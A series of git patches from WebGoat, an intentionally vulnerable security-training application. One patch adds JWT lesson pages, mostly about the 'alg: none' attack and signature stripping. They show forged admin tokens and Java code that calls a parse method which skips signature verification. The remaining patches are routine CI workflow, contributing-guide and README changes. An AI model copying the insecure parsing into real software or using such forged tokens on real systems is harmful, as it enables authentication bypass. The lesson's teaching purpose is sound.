-12,7 +12,7 @@ import org.springframework.web.bind.annotation.RestController; @RestController public class JWTQuiz extends AssignmentEndpoint { - private final String[] solutions = {"Solution 1", "Solution 3"}; + private final String[] solutions = {"Solution 1", "Solution 2"}; private final boolean[] guesses = new boolean[solutions.length]; @PostMapping("/JWT/quiz") diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index d5cb0aad8..20097ca15 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -132,6 +132,18 @@ +
+
+
+
+
+ +
+
+
+
+
+
diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc index 1937f084e..33e6418f6 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc @@ -7,6 +7,22 @@ Now let's look at a code review and try to think on an attack with the `alg: non eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0. ---- +which after decoding becomes: + +[source] +---- +{ + "alg" : "none", + "typ" : "JWT" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + [source%linenums, java] ---- try { @@ -30,7 +46,7 @@ try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); - boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + booelean isAdmin = Boolean.valueOf((String) claims.get("admin")); if (isAdmin) { removeAllUsers(); } else { diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment2.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment2.adoc new file mode 100644 index 000000000..e1aa7c11c --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment2.adoc @@ -0,0 +1,37 @@ +== Code review (2) + +Same as before but now we are only removing the signature part, leaving the algorithm as is. + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +Using the following `parse` method we are still able to skip the signature check. + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_solution.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_solution.adoc new file mode 100644 index 000000000..f01c33afc --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_solution.adoc @@ -0,0 +1,46 @@ +=== Solution + +In the past assignments we learned to **NOT** trust the libraries to do the correct thing for us. In both cases we saw that even specifying the JWT key and passing the correct algorithm. Even using the token: + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +And the following Java code: + +[source] +---- +Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); +---- + +You see we set the signing key with `setSigningKey` the library still skips the validation of the signature. + +It is not only limited to the traditional `alg: none` attack, but it also works with the `alg: HS256`. + +=== Conclusion + +When you have chosen a library to help dealing with JWT tokens make sure to: + +- use the correct method in your code when validating tokens. +- add test cases and validate the algorithm confusion is not possible. +- as a security team write a utility methods to be used by the teams which encapsulate the library to make sure the teams use the correct parsing logic. + +=== Alternative: Paseto + +The algorithm confusion is a real problem when dealing with JWTs it can be avoided by using PASETO (**P**latform-**A**gnostic **SE**curity **TO**kens), which is currently implemented in 10 programming languages. +One of the drawbacks of using this method is that JWT is widely spread for example think about using OAuth, so it might not be the best solution to use. + +For more information take a look at the following video: + +video::RijGNytjbOI[youtube, height=480, width=100%] \ No newline at end of file From efca784acfeba593426ef1fe6da99988e98ec59f Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 15:24:39 +0200 Subject: [PATCH 027/227] Update sign off command Signed-off-by: Jeroen Willemsen --- CONTRIBUTING.md | 4 ++-- PULL_REQUEST_TEMPLATE.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 633a3cfdc..e87d63fd6 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,5 +1,5 @@ # Contributing -![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) +[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg) ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg) @@ -28,7 +28,7 @@ The minimum requirements for code contributions are: 2. All new and changed code _should_ have a corresponding unit and/or integration test. 3. New and changed lessons _must_ have a corresponding integration test. 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. -5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). +5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). Alternatively you commit one signoff commit at the end of your commits by means of `git commit -m "Sign off" --amend --signof`. Additionally, the following guidelines can help: diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index 607332f3d..0f4d52c1a 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,7 +1,7 @@ Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - [ ] Status checks have passed (e.g. packaging, linting, testing are fine) -- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or you type `/signoff` [is provided as a comment](https://github.com/JasonEtco/signoff-commit-action). +- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or you have a commit which you amend with `git commit -m "Sign off" --amend --signof`. See [Contributing.md](https://github.com/WebGoat/WebGoat/blob/develop/CONTRIBUTING.md) for more details. If your PR is related to an issue. Please end your PR test with the following line: This PR closes #< insert number here >. \ No newline at end of file From 49109154a853952a476645814a1b23204a782874 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:12:22 +0200 Subject: [PATCH 028/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 .github/workflows/master_branch_pr.yml diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml new file mode 100644 index 000000000..5b6cc4e46 --- /dev/null +++ b/.github/workflows/master_branch_pr.yml @@ -0,0 +1,18 @@ +on: + pull_request: + branches: [master] + +jobs: + test: + runs-on: ubuntu-latest + steps: + - name: Post PR comment + if: failure() + uses: mshick/add-pr-comment@v1 + with: + message: | + Hi @${{ github.event.pull_request.user.login }}, + + It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. + Since we use Git Flow all commits to master are through are from the develop branch. + You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file From 246b4de1b84512d7adcd0a9428f54a1d76aeec3e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:20:08 +0200 Subject: [PATCH 029/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 5b6cc4e46..65bbc6a5f 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -1,5 +1,6 @@ on: pull_request: + pull_request_target: branches: [master] jobs: From 835104c88f9d84be6dec67bed9a0b6281f76f1e5 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:21:33 +0200 Subject: [PATCH 030/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 65bbc6a5f..4c1c52d79 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -1,6 +1,5 @@ on: pull_request: - pull_request_target: branches: [master] jobs: @@ -8,7 +7,6 @@ jobs: runs-on: ubuntu-latest steps: - name: Post PR comment - if: failure() uses: mshick/add-pr-comment@v1 with: message: | From b7ff89243ac93ee04767cb83f2e33c89a9028251 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:23:11 +0200 Subject: [PATCH 031/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 4c1c52d79..fdf1af939 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -1,5 +1,6 @@ on: pull_request: + pull_request_target: branches: [master] jobs: From 5933d226af9353f8c92f4afd7598583ffefbd879 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:31:19 +0200 Subject: [PATCH 032/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index fdf1af939..8f782c385 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -15,4 +15,6 @@ jobs: It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. Since we use Git Flow all commits to master are through are from the develop branch. - You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file + You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. + repo-token: ${{ secrets.GITHUB_TOKEN }} + allow-repeats: false \ No newline at end of file From 05bef55c802a144cfb170793df598e83f66aafe4 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:42:25 +0200 Subject: [PATCH 033/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 8f782c385..814164de2 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -7,6 +7,13 @@ jobs: test: runs-on: ubuntu-latest steps: + - name: 'Comment PR' + uses: actions/github-script@0.3.0 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const { issue: { number: issue_number }, repo: { owner, repo } } = context; + github.issues.createComment({ issue_number, owner, repo, body: 'Hello world ! 👋' }); - name: Post PR comment uses: mshick/add-pr-comment@v1 with: From 902af04dd4d9756cab7b0c782ead0cf4a849b23e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:45:00 +0200 Subject: [PATCH 034/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 814164de2..8f782c385 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -7,13 +7,6 @@ jobs: test: runs-on: ubuntu-latest steps: - - name: 'Comment PR' - uses: actions/github-script@0.3.0 - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - script: | - const { issue: { number: issue_number }, repo: { owner, repo } } = context; - github.issues.createComment({ issue_number, owner, repo, body: 'Hello world ! 👋' }); - name: Post PR comment uses: mshick/add-pr-comment@v1 with: From 906ab766df93e012e4c4dba49296adfd63763dc9 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 18:57:29 +0200 Subject: [PATCH 035/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 8f782c385..7123e33b9 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -7,14 +7,12 @@ jobs: test: runs-on: ubuntu-latest steps: - - name: Post PR comment - uses: mshick/add-pr-comment@v1 - with: - message: | - Hi @${{ github.event.pull_request.user.login }}, + - uses: wow-actions/auto-comment@v1 + with: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. - Since we use Git Flow all commits to master are through are from the develop branch. - You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. - repo-token: ${{ secrets.GITHUB_TOKEN }} - allow-repeats: false \ No newline at end of file + pullRequestOpened: | + 👋 @{{ author }} + It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. + Since we use Git Flow all commits to master are through are from the develop branch. + You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file From 14bb53d43a2ac976ca7536d75de149ae4bb45680 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 19:00:29 +0200 Subject: [PATCH 036/227] Add action to warn against PR against master (should be develop) --- .github/workflows/master_branch_pr.yml | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml index 7123e33b9..a184aa71b 100644 --- a/.github/workflows/master_branch_pr.yml +++ b/.github/workflows/master_branch_pr.yml @@ -8,11 +8,11 @@ jobs: runs-on: ubuntu-latest steps: - uses: wow-actions/auto-comment@v1 - with: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - pullRequestOpened: | - 👋 @{{ author }} - It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. - Since we use Git Flow all commits to master are through are from the develop branch. - You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file + pullRequestOpened: | + 👋 @{{ author }} + It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. + Since we use Git Flow all commits to master are through are from the develop branch. + You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file From b7a1edd04a602a91e3876fb209e5b78e1b447c58 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 19:56:22 +0200 Subject: [PATCH 037/227] Use CLA again and add action to recheck it --- .github/workflows/master_branch_pr.yml | 18 ---------- .github/workflows/recheck-cla.yml | 14 ++++++++ .github/workflows/signoff_mr.yml | 47 -------------------------- PULL_REQUEST_TEMPLATE.md | 1 - 4 files changed, 14 insertions(+), 66 deletions(-) delete mode 100644 .github/workflows/master_branch_pr.yml create mode 100644 .github/workflows/recheck-cla.yml delete mode 100644 .github/workflows/signoff_mr.yml diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml deleted file mode 100644 index a184aa71b..000000000 --- a/.github/workflows/master_branch_pr.yml +++ /dev/null @@ -1,18 +0,0 @@ -on: - pull_request: - pull_request_target: - branches: [master] - -jobs: - test: - runs-on: ubuntu-latest - steps: - - uses: wow-actions/auto-comment@v1 - with: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - - pullRequestOpened: | - 👋 @{{ author }} - It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. - Since we use Git Flow all commits to master are through are from the develop branch. - You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file diff --git a/.github/workflows/recheck-cla.yml b/.github/workflows/recheck-cla.yml new file mode 100644 index 000000000..940a68823 --- /dev/null +++ b/.github/workflows/recheck-cla.yml @@ -0,0 +1,14 @@ +name: "Check CLA signed" +on: + issue_comment: + types: [created] +jobs: + rebase: + name: signed + if: github.repository == 'WebGoat/WebGoat' && github.event.issue.pull_request != '' && contains(github.event.comment.body, '/cla') && github.event.comment.author_association == 'MEMBER' + runs-on: ubuntu-latest + steps: + - name: Recheck CLA + run: | + echo "Rechecking PR ${{ github.event.number }}" + curl "https://cla-assistant.io/check/WebGoat/WebGoat?pullRequest=${{ github.event.number }} \ No newline at end of file diff --git a/.github/workflows/signoff_mr.yml b/.github/workflows/signoff_mr.yml deleted file mode 100644 index 6c5ea27d1..000000000 --- a/.github/workflows/signoff_mr.yml +++ /dev/null @@ -1,47 +0,0 @@ -on: issue_comment - -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/github-script@0.3.0 - if: github.event.action == 'created' - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - script: | - const isValidSignOff = ( - context.payload.action === 'created' && - context.payload.issue.pull_request && - context.payload.comment.user.id === context.payload.issue.user.id && - context.payload.comment.body === '/signoff' - ) - if (!isValidSignOff) return - const pr = await github.pulls.get({ - ...context.repo, - pull_number: context.payload.issue.number - }) - const commits = await github.pulls.listCommits({ - ...context.repo, - pull_number: context.payload.issue.number - }) - const baseCommit = await github.git.getCommit({ - ...context.repo, - commit_sha: pr.data.head.sha - }) - const tree = await github.git.getTree({ - ...context.repo, - tree_sha: baseCommit.data.tree.sha - }) - const commitLines = commits.data.map(item => `- ${item.sha.slice(0, 6)}: ${item.commit.message}`).join('\n') - const header = `I, @${context.payload.comment.user.login}, hereby signoff on these commits:` - const newCommit = await github.git.createCommit({ - ...context.repo, - message: `${header}\n\n${commitLines}`, - tree: tree.data.sha, - parents: [pr.data.head.sha] - }) - await github.git.updateRef({ - ...context.repo, - ref: `heads/${pr.data.head.ref}`, - sha: newCommit.data.sha - }) \ No newline at end of file diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index 0f4d52c1a..8c1052540 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,7 +1,6 @@ Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - [ ] Status checks have passed (e.g. packaging, linting, testing are fine) -- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or you have a commit which you amend with `git commit -m "Sign off" --amend --signof`. See [Contributing.md](https://github.com/WebGoat/WebGoat/blob/develop/CONTRIBUTING.md) for more details. If your PR is related to an issue. Please end your PR test with the following line: This PR closes #< insert number here >. \ No newline at end of file From fbf18440fb391046d75859ed09c2e9bedc883e52 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 20:02:42 +0200 Subject: [PATCH 038/227] Revert "Use CLA again and add action to recheck it" This reverts commit b7a1edd0 --- .github/workflows/master_branch_pr.yml | 18 ++++++++++ .github/workflows/recheck-cla.yml | 14 -------- .github/workflows/signoff_mr.yml | 47 ++++++++++++++++++++++++++ 3 files changed, 65 insertions(+), 14 deletions(-) create mode 100644 .github/workflows/master_branch_pr.yml delete mode 100644 .github/workflows/recheck-cla.yml create mode 100644 .github/workflows/signoff_mr.yml diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml new file mode 100644 index 000000000..a184aa71b --- /dev/null +++ b/.github/workflows/master_branch_pr.yml @@ -0,0 +1,18 @@ +on: + pull_request: + pull_request_target: + branches: [master] + +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: wow-actions/auto-comment@v1 + with: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + pullRequestOpened: | + 👋 @{{ author }} + It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. + Since we use Git Flow all commits to master are through are from the develop branch. + You do not need to close this PR, you can change the target branch to `development` by clicking the _"Edit"_ button at the top of this page. \ No newline at end of file diff --git a/.github/workflows/recheck-cla.yml b/.github/workflows/recheck-cla.yml deleted file mode 100644 index 940a68823..000000000 --- a/.github/workflows/recheck-cla.yml +++ /dev/null @@ -1,14 +0,0 @@ -name: "Check CLA signed" -on: - issue_comment: - types: [created] -jobs: - rebase: - name: signed - if: github.repository == 'WebGoat/WebGoat' && github.event.issue.pull_request != '' && contains(github.event.comment.body, '/cla') && github.event.comment.author_association == 'MEMBER' - runs-on: ubuntu-latest - steps: - - name: Recheck CLA - run: | - echo "Rechecking PR ${{ github.event.number }}" - curl "https://cla-assistant.io/check/WebGoat/WebGoat?pullRequest=${{ github.event.number }} \ No newline at end of file diff --git a/.github/workflows/signoff_mr.yml b/.github/workflows/signoff_mr.yml new file mode 100644 index 000000000..6c5ea27d1 --- /dev/null +++ b/.github/workflows/signoff_mr.yml @@ -0,0 +1,47 @@ +on: issue_comment + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/github-script@0.3.0 + if: github.event.action == 'created' + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const isValidSignOff = ( + context.payload.action === 'created' && + context.payload.issue.pull_request && + context.payload.comment.user.id === context.payload.issue.user.id && + context.payload.comment.body === '/signoff' + ) + if (!isValidSignOff) return + const pr = await github.pulls.get({ + ...context.repo, + pull_number: context.payload.issue.number + }) + const commits = await github.pulls.listCommits({ + ...context.repo, + pull_number: context.payload.issue.number + }) + const baseCommit = await github.git.getCommit({ + ...context.repo, + commit_sha: pr.data.head.sha + }) + const tree = await github.git.getTree({ + ...context.repo, + tree_sha: baseCommit.data.tree.sha + }) + const commitLines = commits.data.map(item => `- ${item.sha.slice(0, 6)}: ${item.commit.message}`).join('\n') + const header = `I, @${context.payload.comment.user.login}, hereby signoff on these commits:` + const newCommit = await github.git.createCommit({ + ...context.repo, + message: `${header}\n\n${commitLines}`, + tree: tree.data.sha, + parents: [pr.data.head.sha] + }) + await github.git.updateRef({ + ...context.repo, + ref: `heads/${pr.data.head.ref}`, + sha: newCommit.data.sha + }) \ No newline at end of file From 74ca2ff12a349dd87b2c2ef658b067e23ae68c12 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 20:03:09 +0200 Subject: [PATCH 039/227] Add signed commits to pull request template --- PULL_REQUEST_TEMPLATE.md | 1 + 1 file changed, 1 insertion(+) diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index 8c1052540..0f4d52c1a 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,6 +1,7 @@ Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - [ ] Status checks have passed (e.g. packaging, linting, testing are fine) +- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or you have a commit which you amend with `git commit -m "Sign off" --amend --signof`. See [Contributing.md](https://github.com/WebGoat/WebGoat/blob/develop/CONTRIBUTING.md) for more details. If your PR is related to an issue. Please end your PR test with the following line: This PR closes #< insert number here >. \ No newline at end of file From 360cdc7239d24c7dafc0a4b2417a5ee448231206 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Wed, 29 Sep 2021 16:20:12 +0200 Subject: [PATCH 040/227] Fix broken link --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index e87d63fd6..b478ac14d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -9,7 +9,7 @@ This document describes how you can contribute to WebGoat. Please read it carefu * [How to Contribute to the Project](#how-to-contribute-to-the-project) * [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment) -* [How to get your PR Accepted](#how-to-get-your-pr-acceted) +* [How to get your PR Accepted](#how-to-get-your-pr-accepted) ## How to Contribute to the project From b6dff3f32bf04ae2e8be3f44b05a035f2e835926 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Wed, 29 Sep 2021 16:16:57 +0200 Subject: [PATCH 041/227] Update JDK references --- README.MD | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.MD b/README.MD index 490520bde..1e83478ef 100644 --- a/README.MD +++ b/README.MD @@ -3,7 +3,7 @@ [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) [![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) [![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) -[![java-jdk](https://img.shields.io/badge/java%20jdk-15-green.svg)](https://jdk.java.net/) +[![java-jdk](https://img.shields.io/badge/java%20jdk-16-green.svg)](https://jdk.java.net/) [![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) @@ -68,7 +68,7 @@ WebWolf will be located at: http://localhost:9090/WebWolf (change ports if neces ### Prerequisites: -* Java 15 +* Java 16 * Maven > 3.2.1 * Your favorite IDE * Git, or Git support in your IDE From 7602781a5bfeaaa8d5e42fc46fe951853ca08511 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 30 Sep 2021 09:09:08 +0000 Subject: [PATCH 042/227] Bump actions/github-script from 0.3.0 to 5 Bumps [actions/github-script](https://github.com/actions/github-script) from 0.3.0 to 5. - [Release notes](https://github.com/actions/github-script/releases) - [Commits](https://github.com/actions/github-script/compare/0.3.0...v5) --- updated-dependencies: - dependency-name: actions/github-script dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/signoff_mr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/signoff_mr.yml b/.github/workflows/signoff_mr.yml index 6c5ea27d1..5838fd79c 100644 --- a/.github/workflows/signoff_mr.yml +++ b/.github/workflows/signoff_mr.yml @@ -4,7 +4,7 @@ jobs: build: runs-on: ubuntu-latest steps: - - uses: actions/github-script@0.3.0 + - uses: actions/github-script@v5 if: github.event.action == 'created' with: github-token: ${{ secrets.GITHUB_TOKEN }} From f28bb09724fe6b3e3d6484a5fe9943d7b19904b7 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 30 Sep 2021 16:54:52 +0200 Subject: [PATCH 043/227] Remove action --- .github/workflows/master_branch_pr.yml | 18 ------------------ 1 file changed, 18 deletions(-) delete mode 100644 .github/workflows/master_branch_pr.yml diff --git a/.github/workflows/master_branch_pr.yml b/.github/workflows/master_branch_pr.yml deleted file mode 100644 index a184aa71b..000000000 --- a/.github/workflows/master_branch_pr.yml +++ /dev/null @@ -1,18 +0,0 @@ -on: - pull_request: - pull_request_target: - branches: [master] - -jobs: - test: - runs-on: ubuntu-latest - steps: - - uses: wow-actions/auto-comment@v1 - with: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - - pullRequestOpened: | - 👋 @{{ author }} - It looks like this pull request has been made against the ${{github.event.pull_request.head.repo.full_name}} `master` branch. - Since we use Git Flow all commits to master are through 